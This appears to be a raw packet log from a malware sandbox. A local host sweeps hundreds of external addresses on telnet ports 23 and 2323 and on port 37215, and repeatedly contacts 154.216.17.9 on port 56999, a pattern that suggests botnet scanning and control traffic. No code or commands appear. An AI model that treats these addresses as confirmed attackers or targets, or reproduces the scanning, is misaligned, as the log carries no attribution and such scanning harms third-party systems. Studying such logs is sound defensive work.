Aug 6, 2024 08:32:56.828099012 CEST	61398	23	192.168.2.14	83.39.55.165
Aug 6, 2024 08:32:56.828099012 CEST	23	61398	74.99.184.148	192.168.2.14
Aug 6, 2024 08:32:56.828109026 CEST	23	61398	203.101.128.234	192.168.2.14
Aug 6, 2024 08:32:56.828110933 CEST	61398	23	192.168.2.14	177.60.195.184
Aug 6, 2024 08:32:56.828118086 CEST	61398	23	192.168.2.14	130.99.133.214
Aug 6, 2024 08:32:56.828119040 CEST	23	61398	217.209.239.48	192.168.2.14
Aug 6, 2024 08:32:56.828130007 CEST	61398	23	192.168.2.14	74.99.184.148
Aug 6, 2024 08:32:56.828131914 CEST	61398	23	192.168.2.14	203.101.128.234
Aug 6, 2024 08:32:56.828134060 CEST	2323	61398	148.24.31.123	192.168.2.14
Aug 6, 2024 08:32:56.828145027 CEST	23	61398	58.24.74.197	192.168.2.14
Aug 6, 2024 08:32:56.828151941 CEST	61398	23	192.168.2.14	217.209.239.48
Aug 6, 2024 08:32:56.828155994 CEST	23	61398	204.108.181.165	192.168.2.14
Aug 6, 2024 08:32:56.828166962 CEST	23	61398	133.86.156.44	192.168.2.14
Aug 6, 2024 08:32:56.828171015 CEST	61398	23	192.168.2.14	58.24.74.197
Aug 6, 2024 08:32:56.828171015 CEST	61398	2323	192.168.2.14	148.24.31.123
Aug 6, 2024 08:32:56.828176022 CEST	23	61398	142.162.141.194	192.168.2.14
Aug 6, 2024 08:32:56.828186989 CEST	23	61398	143.85.75.62	192.168.2.14
Aug 6, 2024 08:32:56.828187943 CEST	61398	23	192.168.2.14	204.108.181.165
Aug 6, 2024 08:32:56.828197956 CEST	23	61398	132.105.84.203	192.168.2.14
Aug 6, 2024 08:32:56.828200102 CEST	61398	23	192.168.2.14	133.86.156.44
Aug 6, 2024 08:32:56.828206062 CEST	61398	23	192.168.2.14	142.162.141.194
Aug 6, 2024 08:32:56.828208923 CEST	23	61398	120.221.245.212	192.168.2.14
Aug 6, 2024 08:32:56.828219891 CEST	2323	61398	109.151.6.52	192.168.2.14
Aug 6, 2024 08:32:56.828221083 CEST	61398	23	192.168.2.14	143.85.75.62
Aug 6, 2024 08:32:56.828229904 CEST	23	61398	192.232.12.41	192.168.2.14
Aug 6, 2024 08:32:56.828237057 CEST	61398	23	192.168.2.14	120.221.245.212
Aug 6, 2024 08:32:56.828239918 CEST	23	61398	165.86.134.9	192.168.2.14
Aug 6, 2024 08:32:56.828241110 CEST	61398	23	192.168.2.14	132.105.84.203
Aug 6, 2024 08:32:56.828253031 CEST	23	61398	217.59.150.227	192.168.2.14
Aug 6, 2024 08:32:56.828254938 CEST	61398	2323	192.168.2.14	109.151.6.52
Aug 6, 2024 08:32:56.828264952 CEST	23	61398	109.9.175.136	192.168.2.14
Aug 6, 2024 08:32:56.828274012 CEST	61398	23	192.168.2.14	192.232.12.41
Aug 6, 2024 08:32:56.828274965 CEST	23	61398	36.36.125.18	192.168.2.14
Aug 6, 2024 08:32:56.828279018 CEST	61398	23	192.168.2.14	165.86.134.9
Aug 6, 2024 08:32:56.828279018 CEST	61398	23	192.168.2.14	217.59.150.227
Aug 6, 2024 08:32:56.828286886 CEST	23	61398	106.49.240.83	192.168.2.14
Aug 6, 2024 08:32:56.828296900 CEST	61398	23	192.168.2.14	109.9.175.136
Aug 6, 2024 08:32:56.828299046 CEST	23	61398	159.195.209.107	192.168.2.14
Aug 6, 2024 08:32:56.828306913 CEST	61398	23	192.168.2.14	36.36.125.18
Aug 6, 2024 08:32:56.828310966 CEST	23	61398	174.204.213.236	192.168.2.14
Aug 6, 2024 08:32:56.828322887 CEST	23	61398	37.11.100.59	192.168.2.14
Aug 6, 2024 08:32:56.828325033 CEST	61398	23	192.168.2.14	106.49.240.83
Aug 6, 2024 08:32:56.828327894 CEST	61398	23	192.168.2.14	159.195.209.107
Aug 6, 2024 08:32:56.828334093 CEST	2323	61398	157.145.6.81	192.168.2.14
Aug 6, 2024 08:32:56.828356028 CEST	61398	23	192.168.2.14	174.204.213.236
Aug 6, 2024 08:32:56.828357935 CEST	23	61398	84.136.230.217	192.168.2.14
Aug 6, 2024 08:32:56.828360081 CEST	61398	23	192.168.2.14	37.11.100.59
Aug 6, 2024 08:32:56.828368902 CEST	61398	2323	192.168.2.14	157.145.6.81
Aug 6, 2024 08:32:56.828370094 CEST	23	61398	120.65.143.9	192.168.2.14
Aug 6, 2024 08:32:56.828381062 CEST	23	61398	86.57.130.191	192.168.2.14
Aug 6, 2024 08:32:56.828391075 CEST	23	61398	96.22.107.23	192.168.2.14
Aug 6, 2024 08:32:56.828394890 CEST	61398	23	192.168.2.14	84.136.230.217
Aug 6, 2024 08:32:56.828402042 CEST	23	61398	82.156.178.18	192.168.2.14
Aug 6, 2024 08:32:56.828404903 CEST	61398	23	192.168.2.14	120.65.143.9
Aug 6, 2024 08:32:56.828411102 CEST	61398	23	192.168.2.14	86.57.130.191
Aug 6, 2024 08:32:56.828412056 CEST	23	61398	32.106.174.40	192.168.2.14
Aug 6, 2024 08:32:56.828423023 CEST	23	61398	217.247.52.2	192.168.2.14
Aug 6, 2024 08:32:56.828425884 CEST	61398	23	192.168.2.14	96.22.107.23
Aug 6, 2024 08:32:56.828433037 CEST	23	61398	96.121.177.52	192.168.2.14
Aug 6, 2024 08:32:56.828443050 CEST	61398	23	192.168.2.14	82.156.178.18
Aug 6, 2024 08:32:56.828444004 CEST	23	61398	129.14.117.134	192.168.2.14
Aug 6, 2024 08:32:56.828443050 CEST	61398	23	192.168.2.14	32.106.174.40
Aug 6, 2024 08:32:56.828445911 CEST	61398	23	192.168.2.14	217.247.52.2
Aug 6, 2024 08:32:56.828454971 CEST	23	61398	142.193.37.71	192.168.2.14
Aug 6, 2024 08:32:56.828464985 CEST	23	61398	139.184.245.42	192.168.2.14
Aug 6, 2024 08:32:56.828469992 CEST	61398	23	192.168.2.14	129.14.117.134
Aug 6, 2024 08:32:56.828475952 CEST	23	61398	100.35.84.85	192.168.2.14
Aug 6, 2024 08:32:56.828478098 CEST	61398	23	192.168.2.14	96.121.177.52
Aug 6, 2024 08:32:56.828491926 CEST	61398	23	192.168.2.14	142.193.37.71
Aug 6, 2024 08:32:56.828494072 CEST	23	61398	201.136.247.11	192.168.2.14
Aug 6, 2024 08:32:56.828506947 CEST	2323	61398	77.120.8.9	192.168.2.14
Aug 6, 2024 08:32:56.828511953 CEST	61398	23	192.168.2.14	100.35.84.85
Aug 6, 2024 08:32:56.828519106 CEST	61398	23	192.168.2.14	139.184.245.42
Aug 6, 2024 08:32:56.828521967 CEST	23	61398	192.109.77.211	192.168.2.14
Aug 6, 2024 08:32:56.828526974 CEST	61398	23	192.168.2.14	201.136.247.11
Aug 6, 2024 08:32:56.828532934 CEST	23	61398	139.250.123.232	192.168.2.14
Aug 6, 2024 08:32:56.828545094 CEST	23	61398	51.164.45.133	192.168.2.14
Aug 6, 2024 08:32:56.828555107 CEST	23	61398	158.36.159.14	192.168.2.14
Aug 6, 2024 08:32:56.828556061 CEST	61398	23	192.168.2.14	192.109.77.211
Aug 6, 2024 08:32:56.828557968 CEST	61398	23	192.168.2.14	139.250.123.232
Aug 6, 2024 08:32:56.828564882 CEST	2323	61398	2.43.182.199	192.168.2.14
Aug 6, 2024 08:32:56.828566074 CEST	61398	2323	192.168.2.14	77.120.8.9
Aug 6, 2024 08:32:56.828573942 CEST	61398	23	192.168.2.14	51.164.45.133
Aug 6, 2024 08:32:56.828574896 CEST	23	61398	44.81.14.251	192.168.2.14
Aug 6, 2024 08:32:56.828583002 CEST	61398	23	192.168.2.14	158.36.159.14
Aug 6, 2024 08:32:56.828587055 CEST	23	61398	74.90.107.111	192.168.2.14
Aug 6, 2024 08:32:56.828598022 CEST	23	61398	75.92.67.108	192.168.2.14
Aug 6, 2024 08:32:56.828598022 CEST	61398	2323	192.168.2.14	2.43.182.199
Aug 6, 2024 08:32:56.828598022 CEST	61398	23	192.168.2.14	44.81.14.251
Aug 6, 2024 08:32:56.828608036 CEST	23	61398	125.125.103.223	192.168.2.14
Aug 6, 2024 08:32:56.828618050 CEST	23	61398	71.161.137.48	192.168.2.14
Aug 6, 2024 08:32:56.828619957 CEST	61398	23	192.168.2.14	74.90.107.111
Aug 6, 2024 08:32:56.828629017 CEST	23	61398	183.105.172.90	192.168.2.14
Aug 6, 2024 08:32:56.828635931 CEST	61398	23	192.168.2.14	125.125.103.223
Aug 6, 2024 08:32:56.828639984 CEST	61398	23	192.168.2.14	75.92.67.108
Aug 6, 2024 08:32:56.828639984 CEST	23	61398	77.121.229.254	192.168.2.14
Aug 6, 2024 08:32:56.828650951 CEST	23	61398	109.255.196.174	192.168.2.14
Aug 6, 2024 08:32:56.828660011 CEST	61398	23	192.168.2.14	71.161.137.48
Aug 6, 2024 08:32:56.828660011 CEST	61398	23	192.168.2.14	183.105.172.90
Aug 6, 2024 08:32:56.828663111 CEST	23	61398	99.197.139.178	192.168.2.14
Aug 6, 2024 08:32:56.828679085 CEST	61398	23	192.168.2.14	77.121.229.254
Aug 6, 2024 08:32:56.828681946 CEST	61398	23	192.168.2.14	109.255.196.174
Aug 6, 2024 08:32:56.828685045 CEST	23	61398	142.40.208.82	192.168.2.14
Aug 6, 2024 08:32:56.828690052 CEST	61398	23	192.168.2.14	99.197.139.178
Aug 6, 2024 08:32:56.828696012 CEST	2323	61398	154.172.114.85	192.168.2.14
Aug 6, 2024 08:32:56.828706980 CEST	23	61398	219.254.250.183	192.168.2.14
Aug 6, 2024 08:32:56.828717947 CEST	23	61398	61.120.91.56	192.168.2.14
Aug 6, 2024 08:32:56.828723907 CEST	61398	23	192.168.2.14	142.40.208.82
Aug 6, 2024 08:32:56.828727961 CEST	23	61398	163.234.182.193	192.168.2.14
Aug 6, 2024 08:32:56.828727007 CEST	61398	2323	192.168.2.14	154.172.114.85
Aug 6, 2024 08:32:56.828735113 CEST	61398	23	192.168.2.14	219.254.250.183
Aug 6, 2024 08:32:56.828738928 CEST	23	61398	161.156.113.99	192.168.2.14
Aug 6, 2024 08:32:56.828747988 CEST	61398	23	192.168.2.14	61.120.91.56
Aug 6, 2024 08:32:56.828749895 CEST	23	61398	63.240.222.75	192.168.2.14
Aug 6, 2024 08:32:56.828758001 CEST	61398	23	192.168.2.14	163.234.182.193
Aug 6, 2024 08:32:56.828761101 CEST	23	61398	12.74.88.32	192.168.2.14
Aug 6, 2024 08:32:56.828773022 CEST	23	61398	62.110.124.12	192.168.2.14
Aug 6, 2024 08:32:56.828780890 CEST	61398	23	192.168.2.14	161.156.113.99
Aug 6, 2024 08:32:56.828780890 CEST	61398	23	192.168.2.14	63.240.222.75
Aug 6, 2024 08:32:56.828788042 CEST	23	61398	209.232.25.181	192.168.2.14
Aug 6, 2024 08:32:56.828790903 CEST	61398	23	192.168.2.14	12.74.88.32
Aug 6, 2024 08:32:56.828799963 CEST	23	61398	174.14.18.31	192.168.2.14
Aug 6, 2024 08:32:56.828810930 CEST	2323	61398	176.151.41.96	192.168.2.14
Aug 6, 2024 08:32:56.828811884 CEST	61398	23	192.168.2.14	62.110.124.12
Aug 6, 2024 08:32:56.828819036 CEST	61398	23	192.168.2.14	209.232.25.181
Aug 6, 2024 08:32:56.828820944 CEST	23	61398	78.100.191.243	192.168.2.14
Aug 6, 2024 08:32:56.828831911 CEST	23	61398	221.174.124.57	192.168.2.14
Aug 6, 2024 08:32:56.828836918 CEST	61398	23	192.168.2.14	174.14.18.31
Aug 6, 2024 08:32:56.828840971 CEST	23	61398	19.202.126.106	192.168.2.14
Aug 6, 2024 08:32:56.828846931 CEST	61398	2323	192.168.2.14	176.151.41.96
Aug 6, 2024 08:32:56.828849077 CEST	61398	23	192.168.2.14	78.100.191.243
Aug 6, 2024 08:32:56.828850985 CEST	23	61398	133.102.61.117	192.168.2.14
Aug 6, 2024 08:32:56.828855038 CEST	61398	23	192.168.2.14	221.174.124.57
Aug 6, 2024 08:32:56.828862906 CEST	23	61398	70.48.119.209	192.168.2.14
Aug 6, 2024 08:32:56.828872919 CEST	23	61398	48.202.47.122	192.168.2.14
Aug 6, 2024 08:32:56.828877926 CEST	61398	23	192.168.2.14	19.202.126.106
Aug 6, 2024 08:32:56.828882933 CEST	23	61398	137.192.83.118	192.168.2.14
Aug 6, 2024 08:32:56.828883886 CEST	61398	23	192.168.2.14	133.102.61.117
Aug 6, 2024 08:32:56.828893900 CEST	2323	61398	37.13.131.197	192.168.2.14
Aug 6, 2024 08:32:56.828895092 CEST	61398	23	192.168.2.14	70.48.119.209
Aug 6, 2024 08:32:56.828895092 CEST	61398	23	192.168.2.14	48.202.47.122
Aug 6, 2024 08:32:56.828903913 CEST	23	61398	117.194.130.151	192.168.2.14
Aug 6, 2024 08:32:56.828915119 CEST	23	61398	190.55.166.71	192.168.2.14
Aug 6, 2024 08:32:56.828918934 CEST	61398	23	192.168.2.14	137.192.83.118
Aug 6, 2024 08:32:56.828921080 CEST	61398	2323	192.168.2.14	37.13.131.197
Aug 6, 2024 08:32:56.828926086 CEST	23	61398	192.53.100.98	192.168.2.14
Aug 6, 2024 08:32:56.828937054 CEST	23	61398	195.56.80.75	192.168.2.14
Aug 6, 2024 08:32:56.828942060 CEST	61398	23	192.168.2.14	117.194.130.151
Aug 6, 2024 08:32:56.828946114 CEST	61398	23	192.168.2.14	190.55.166.71
Aug 6, 2024 08:32:56.828948021 CEST	23	61398	102.163.230.40	192.168.2.14
Aug 6, 2024 08:32:56.828960896 CEST	23	61398	164.133.8.184	192.168.2.14
Aug 6, 2024 08:32:56.828963041 CEST	61398	23	192.168.2.14	192.53.100.98
Aug 6, 2024 08:32:56.828963041 CEST	61398	23	192.168.2.14	195.56.80.75
Aug 6, 2024 08:32:56.828972101 CEST	23	61398	62.194.192.160	192.168.2.14
Aug 6, 2024 08:32:56.828982115 CEST	23	61398	72.152.53.55	192.168.2.14
Aug 6, 2024 08:32:56.828983068 CEST	61398	23	192.168.2.14	102.163.230.40
Aug 6, 2024 08:32:56.828989029 CEST	61398	23	192.168.2.14	164.133.8.184
Aug 6, 2024 08:32:56.828998089 CEST	61398	23	192.168.2.14	62.194.192.160
Aug 6, 2024 08:32:56.829013109 CEST	61398	23	192.168.2.14	72.152.53.55
Aug 6, 2024 08:32:56.829148054 CEST	23	61398	133.128.88.196	192.168.2.14
Aug 6, 2024 08:32:56.829159021 CEST	23	61398	59.244.28.155	192.168.2.14
Aug 6, 2024 08:32:56.829169035 CEST	2323	61398	130.94.19.62	192.168.2.14
Aug 6, 2024 08:32:56.829180002 CEST	23	61398	24.195.180.58	192.168.2.14
Aug 6, 2024 08:32:56.829184055 CEST	61398	23	192.168.2.14	133.128.88.196
Aug 6, 2024 08:32:56.829186916 CEST	61398	23	192.168.2.14	59.244.28.155
Aug 6, 2024 08:32:56.829190016 CEST	61398	2323	192.168.2.14	130.94.19.62
Aug 6, 2024 08:32:56.829190016 CEST	23	61398	53.69.114.9	192.168.2.14
Aug 6, 2024 08:32:56.829201937 CEST	23	61398	145.185.97.87	192.168.2.14
Aug 6, 2024 08:32:56.829212904 CEST	23	61398	59.7.146.78	192.168.2.14
Aug 6, 2024 08:32:56.829212904 CEST	61398	23	192.168.2.14	24.195.180.58
Aug 6, 2024 08:32:56.829222918 CEST	23	61398	101.3.220.1	192.168.2.14
Aug 6, 2024 08:32:56.829225063 CEST	61398	23	192.168.2.14	145.185.97.87
Aug 6, 2024 08:32:56.829227924 CEST	61398	23	192.168.2.14	53.69.114.9
Aug 6, 2024 08:32:56.829235077 CEST	23	61398	179.98.237.91	192.168.2.14
Aug 6, 2024 08:32:56.829245090 CEST	23	61398	198.245.115.102	192.168.2.14
Aug 6, 2024 08:32:56.829253912 CEST	61398	23	192.168.2.14	101.3.220.1
Aug 6, 2024 08:32:56.829257011 CEST	23	61398	113.166.141.127	192.168.2.14
Aug 6, 2024 08:32:56.829260111 CEST	61398	23	192.168.2.14	59.7.146.78
Aug 6, 2024 08:32:56.829267025 CEST	23	61398	180.204.29.240	192.168.2.14
Aug 6, 2024 08:32:56.829277039 CEST	61398	23	192.168.2.14	179.98.237.91
Aug 6, 2024 08:32:56.829278946 CEST	23	61398	206.23.163.232	192.168.2.14
Aug 6, 2024 08:32:56.829286098 CEST	61398	23	192.168.2.14	198.245.115.102
Aug 6, 2024 08:32:56.829286098 CEST	61398	23	192.168.2.14	113.166.141.127
Aug 6, 2024 08:32:56.829308033 CEST	61398	23	192.168.2.14	180.204.29.240
Aug 6, 2024 08:32:56.829319954 CEST	61398	23	192.168.2.14	206.23.163.232
Aug 6, 2024 08:32:56.838535070 CEST	57992	56999	192.168.2.14	154.216.17.9
Aug 6, 2024 08:32:56.843323946 CEST	56999	57992	154.216.17.9	192.168.2.14
Aug 6, 2024 08:32:56.843389034 CEST	57992	56999	192.168.2.14	154.216.17.9
Aug 6, 2024 08:32:56.843389034 CEST	57992	56999	192.168.2.14	154.216.17.9
Aug 6, 2024 08:32:56.848223925 CEST	56999	57992	154.216.17.9	192.168.2.14
Aug 6, 2024 08:32:57.430058002 CEST	56999	57992	154.216.17.9	192.168.2.14
Aug 6, 2024 08:32:57.430387974 CEST	57992	56999	192.168.2.14	154.216.17.9
Aug 6, 2024 08:32:57.435894966 CEST	56999	57992	154.216.17.9	192.168.2.14
Aug 6, 2024 08:32:57.819593906 CEST	61142	37215	192.168.2.14	156.5.65.103
Aug 6, 2024 08:32:57.819593906 CEST	61142	37215	192.168.2.14	197.150.61.72
Aug 6, 2024 08:32:57.819601059 CEST	61142	37215	192.168.2.14	156.99.124.37
Aug 6, 2024 08:32:57.819602966 CEST	61142	37215	192.168.2.14	197.119.21.203
Aug 6, 2024 08:32:57.819606066 CEST	61142	37215	192.168.2.14	197.79.169.4
Aug 6, 2024 08:32:57.819605112 CEST	61142	37215	192.168.2.14	156.60.205.144
Aug 6, 2024 08:32:57.819643021 CEST	61142	37215	192.168.2.14	41.67.110.230
Aug 6, 2024 08:32:57.819680929 CEST	61142	37215	192.168.2.14	41.89.37.118
Aug 6, 2024 08:32:57.819679976 CEST	61142	37215	192.168.2.14	41.99.246.34
Aug 6, 2024 08:32:57.819680929 CEST	61142	37215	192.168.2.14	156.138.84.192
Aug 6, 2024 08:32:57.819680929 CEST	61142	37215	192.168.2.14	41.206.96.163
Aug 6, 2024 08:32:57.819684982 CEST	61142	37215	192.168.2.14	41.180.58.253
Aug 6, 2024 08:32:57.819684982 CEST	61142	37215	192.168.2.14	197.229.186.220
Aug 6, 2024 08:32:57.819691896 CEST	61142	37215	192.168.2.14	156.226.194.179
Aug 6, 2024 08:32:57.819693089 CEST	61142	37215	192.168.2.14	41.139.158.191
Aug 6, 2024 08:32:57.819693089 CEST	61142	37215	192.168.2.14	156.210.44.233
Aug 6, 2024 08:32:57.819700956 CEST	61142	37215	192.168.2.14	41.175.207.136
Aug 6, 2024 08:32:57.819700003 CEST	61142	37215	192.168.2.14	197.201.238.246
Aug 6, 2024 08:32:57.819700003 CEST	61142	37215	192.168.2.14	41.85.183.189
Aug 6, 2024 08:32:57.819700003 CEST	61142	37215	192.168.2.14	197.52.174.50
Aug 6, 2024 08:32:57.819700956 CEST	61142	37215	192.168.2.14	41.158.83.113
Aug 6, 2024 08:32:57.819727898 CEST	61142	37215	192.168.2.14	41.17.186.253
Aug 6, 2024 08:32:57.819727898 CEST	61142	37215	192.168.2.14	197.170.123.35
Aug 6, 2024 08:32:57.819731951 CEST	61142	37215	192.168.2.14	197.132.30.188
Aug 6, 2024 08:32:57.819731951 CEST	61142	37215	192.168.2.14	197.198.169.113
Aug 6, 2024 08:32:57.819731951 CEST	61142	37215	192.168.2.14	197.194.34.222
Aug 6, 2024 08:32:57.819736958 CEST	61142	37215	192.168.2.14	156.234.152.134
Aug 6, 2024 08:32:57.819758892 CEST	61142	37215	192.168.2.14	41.225.151.149
Aug 6, 2024 08:32:57.819758892 CEST	61142	37215	192.168.2.14	197.125.78.47
Aug 6, 2024 08:32:57.819767952 CEST	61142	37215	192.168.2.14	156.196.237.33
Aug 6, 2024 08:32:57.819771051 CEST	61142	37215	192.168.2.14	41.84.239.116
Aug 6, 2024 08:32:57.819771051 CEST	61142	37215	192.168.2.14	41.9.222.229
Aug 6, 2024 08:32:57.819771051 CEST	61142	37215	192.168.2.14	156.177.204.221
Aug 6, 2024 08:32:57.819771051 CEST	61142	37215	192.168.2.14	197.214.35.214
Aug 6, 2024 08:32:57.819771051 CEST	61142	37215	192.168.2.14	156.216.133.161
Aug 6, 2024 08:32:57.819797039 CEST	61142	37215	192.168.2.14	197.158.198.40
Aug 6, 2024 08:32:57.819797039 CEST	61142	37215	192.168.2.14	41.75.95.48
Aug 6, 2024 08:32:57.819797039 CEST	61142	37215	192.168.2.14	197.112.240.90
Aug 6, 2024 08:32:57.819801092 CEST	61142	37215	192.168.2.14	41.67.69.204
Aug 6, 2024 08:32:57.819802046 CEST	61142	37215	192.168.2.14	41.207.104.124
Aug 6, 2024 08:32:57.819802046 CEST	61142	37215	192.168.2.14	41.214.215.249
Aug 6, 2024 08:32:57.819802046 CEST	61142	37215	192.168.2.14	156.124.36.83
Aug 6, 2024 08:32:57.819809914 CEST	61142	37215	192.168.2.14	41.241.250.246
Aug 6, 2024 08:32:57.819844961 CEST	61142	37215	192.168.2.14	41.2.95.20
Aug 6, 2024 08:32:57.819855928 CEST	61142	37215	192.168.2.14	41.96.92.153
Aug 6, 2024 08:32:57.819914103 CEST	61142	37215	192.168.2.14	156.215.168.4
Aug 6, 2024 08:32:57.819922924 CEST	61142	37215	192.168.2.14	197.220.115.179
Aug 6, 2024 08:32:57.819928885 CEST	61142	37215	192.168.2.14	156.241.3.212
Aug 6, 2024 08:32:57.819946051 CEST	61142	37215	192.168.2.14	197.145.206.32
Aug 6, 2024 08:32:57.819947958 CEST	61142	37215	192.168.2.14	41.217.74.217
Aug 6, 2024 08:32:57.819948912 CEST	61142	37215	192.168.2.14	197.232.216.53
Aug 6, 2024 08:32:57.819955111 CEST	61142	37215	192.168.2.14	41.65.44.253
Aug 6, 2024 08:32:57.819957018 CEST	61142	37215	192.168.2.14	156.118.71.208
Aug 6, 2024 08:32:57.819961071 CEST	61142	37215	192.168.2.14	197.22.69.25
Aug 6, 2024 08:32:57.819966078 CEST	61142	37215	192.168.2.14	41.136.242.8
Aug 6, 2024 08:32:57.819966078 CEST	61142	37215	192.168.2.14	41.123.254.171
Aug 6, 2024 08:32:57.819966078 CEST	61142	37215	192.168.2.14	156.151.233.217
Aug 6, 2024 08:32:57.819971085 CEST	61142	37215	192.168.2.14	156.10.5.237
Aug 6, 2024 08:32:57.819971085 CEST	61142	37215	192.168.2.14	197.253.137.119
Aug 6, 2024 08:32:57.819972038 CEST	61142	37215	192.168.2.14	197.26.78.192
Aug 6, 2024 08:32:57.819977045 CEST	61142	37215	192.168.2.14	41.219.94.196
Aug 6, 2024 08:32:57.819986105 CEST	61142	37215	192.168.2.14	197.0.151.175
Aug 6, 2024 08:32:57.819999933 CEST	61142	37215	192.168.2.14	197.91.92.162
Aug 6, 2024 08:32:57.820012093 CEST	61142	37215	192.168.2.14	41.146.250.201
Aug 6, 2024 08:32:57.820035934 CEST	61142	37215	192.168.2.14	197.160.206.248
Aug 6, 2024 08:32:57.820035934 CEST	61142	37215	192.168.2.14	41.29.159.181
Aug 6, 2024 08:32:57.820039034 CEST	61142	37215	192.168.2.14	197.98.6.152
Aug 6, 2024 08:32:57.820039034 CEST	61142	37215	192.168.2.14	197.13.53.5
Aug 6, 2024 08:32:57.820048094 CEST	61142	37215	192.168.2.14	41.32.47.23
Aug 6, 2024 08:32:57.820051908 CEST	61142	37215	192.168.2.14	197.44.96.72
Aug 6, 2024 08:32:57.820061922 CEST	61142	37215	192.168.2.14	156.169.168.176
Aug 6, 2024 08:32:57.820072889 CEST	61142	37215	192.168.2.14	197.108.18.57
Aug 6, 2024 08:32:57.820076942 CEST	61142	37215	192.168.2.14	197.116.146.79
Aug 6, 2024 08:32:57.820082903 CEST	61142	37215	192.168.2.14	156.108.116.67
Aug 6, 2024 08:32:57.820087910 CEST	61142	37215	192.168.2.14	197.244.44.179
Aug 6, 2024 08:32:57.820117950 CEST	61142	37215	192.168.2.14	41.167.138.167
Aug 6, 2024 08:32:57.820117950 CEST	61142	37215	192.168.2.14	156.98.186.58
Aug 6, 2024 08:32:57.820120096 CEST	61142	37215	192.168.2.14	41.128.53.212
Aug 6, 2024 08:32:57.820120096 CEST	61142	37215	192.168.2.14	197.137.129.225
Aug 6, 2024 08:32:57.820132017 CEST	61142	37215	192.168.2.14	156.202.196.193
Aug 6, 2024 08:32:57.820132971 CEST	61142	37215	192.168.2.14	156.108.110.80
Aug 6, 2024 08:32:57.820168018 CEST	61142	37215	192.168.2.14	41.90.36.34
Aug 6, 2024 08:32:57.820171118 CEST	61142	37215	192.168.2.14	156.231.97.52
Aug 6, 2024 08:32:57.820175886 CEST	61142	37215	192.168.2.14	156.95.239.189
Aug 6, 2024 08:32:57.820175886 CEST	61142	37215	192.168.2.14	156.42.6.81
Aug 6, 2024 08:32:57.820175886 CEST	61142	37215	192.168.2.14	197.58.229.117
Aug 6, 2024 08:32:57.820175886 CEST	61142	37215	192.168.2.14	197.116.228.170
Aug 6, 2024 08:32:57.820185900 CEST	61142	37215	192.168.2.14	156.106.31.101
Aug 6, 2024 08:32:57.820190907 CEST	61142	37215	192.168.2.14	197.178.197.107
Aug 6, 2024 08:32:57.820190907 CEST	61142	37215	192.168.2.14	197.209.203.187
Aug 6, 2024 08:32:57.820193052 CEST	61142	37215	192.168.2.14	41.53.18.63
Aug 6, 2024 08:32:57.820193052 CEST	61142	37215	192.168.2.14	156.226.127.182
Aug 6, 2024 08:32:57.820204973 CEST	61142	37215	192.168.2.14	156.21.187.80
Aug 6, 2024 08:32:57.820205927 CEST	61142	37215	192.168.2.14	156.209.162.103
Aug 6, 2024 08:32:57.820205927 CEST	61142	37215	192.168.2.14	197.74.155.183
Aug 6, 2024 08:32:57.820215940 CEST	61142	37215	192.168.2.14	197.45.165.32
Aug 6, 2024 08:32:57.820234060 CEST	61142	37215	192.168.2.14	156.218.151.70
Aug 6, 2024 08:32:57.820234060 CEST	61142	37215	192.168.2.14	41.141.113.121
Aug 6, 2024 08:32:57.820235014 CEST	61142	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.820235014 CEST	61142	37215	192.168.2.14	156.9.49.106
Aug 6, 2024 08:32:57.820246935 CEST	61142	37215	192.168.2.14	156.84.121.52
Aug 6, 2024 08:32:57.820250988 CEST	61142	37215	192.168.2.14	156.12.183.66
Aug 6, 2024 08:32:57.820280075 CEST	61142	37215	192.168.2.14	41.175.71.81
Aug 6, 2024 08:32:57.820282936 CEST	61142	37215	192.168.2.14	41.113.154.68
Aug 6, 2024 08:32:57.820283890 CEST	61142	37215	192.168.2.14	197.52.196.233
Aug 6, 2024 08:32:57.820287943 CEST	61142	37215	192.168.2.14	41.97.122.146
Aug 6, 2024 08:32:57.820290089 CEST	61142	37215	192.168.2.14	197.153.83.250
Aug 6, 2024 08:32:57.820288897 CEST	61142	37215	192.168.2.14	197.148.25.151
Aug 6, 2024 08:32:57.820308924 CEST	61142	37215	192.168.2.14	156.46.53.169
Aug 6, 2024 08:32:57.820324898 CEST	61142	37215	192.168.2.14	156.240.242.22
Aug 6, 2024 08:32:57.820326090 CEST	61142	37215	192.168.2.14	41.158.14.71
Aug 6, 2024 08:32:57.820326090 CEST	61142	37215	192.168.2.14	197.3.222.193
Aug 6, 2024 08:32:57.820374966 CEST	61142	37215	192.168.2.14	41.86.188.172
Aug 6, 2024 08:32:57.820374966 CEST	61142	37215	192.168.2.14	41.189.168.243
Aug 6, 2024 08:32:57.820379019 CEST	61142	37215	192.168.2.14	156.88.39.9
Aug 6, 2024 08:32:57.820379972 CEST	61142	37215	192.168.2.14	41.39.23.209
Aug 6, 2024 08:32:57.820383072 CEST	61142	37215	192.168.2.14	197.44.227.23
Aug 6, 2024 08:32:57.820391893 CEST	61142	37215	192.168.2.14	197.190.71.95
Aug 6, 2024 08:32:57.820405006 CEST	61142	37215	192.168.2.14	197.151.199.82
Aug 6, 2024 08:32:57.820405006 CEST	61142	37215	192.168.2.14	156.105.22.195
Aug 6, 2024 08:32:57.820405960 CEST	61142	37215	192.168.2.14	156.221.29.42
Aug 6, 2024 08:32:57.820424080 CEST	61142	37215	192.168.2.14	156.155.147.28
Aug 6, 2024 08:32:57.820425034 CEST	61142	37215	192.168.2.14	41.61.203.75
Aug 6, 2024 08:32:57.820426941 CEST	61142	37215	192.168.2.14	156.176.4.128
Aug 6, 2024 08:32:57.820426941 CEST	61142	37215	192.168.2.14	41.234.175.174
Aug 6, 2024 08:32:57.820426941 CEST	61142	37215	192.168.2.14	41.124.13.62
Aug 6, 2024 08:32:57.820431948 CEST	61142	37215	192.168.2.14	197.202.174.153
Aug 6, 2024 08:32:57.820431948 CEST	61142	37215	192.168.2.14	156.252.202.94
Aug 6, 2024 08:32:57.820431948 CEST	61142	37215	192.168.2.14	41.28.168.62
Aug 6, 2024 08:32:57.820449114 CEST	61142	37215	192.168.2.14	41.81.28.179
Aug 6, 2024 08:32:57.820453882 CEST	61142	37215	192.168.2.14	41.240.222.87
Aug 6, 2024 08:32:57.820456982 CEST	61142	37215	192.168.2.14	197.74.211.1
Aug 6, 2024 08:32:57.820462942 CEST	61142	37215	192.168.2.14	156.39.190.188
Aug 6, 2024 08:32:57.820465088 CEST	61142	37215	192.168.2.14	41.137.40.202
Aug 6, 2024 08:32:57.820508957 CEST	61142	37215	192.168.2.14	197.175.48.74
Aug 6, 2024 08:32:57.820533991 CEST	61142	37215	192.168.2.14	41.170.187.126
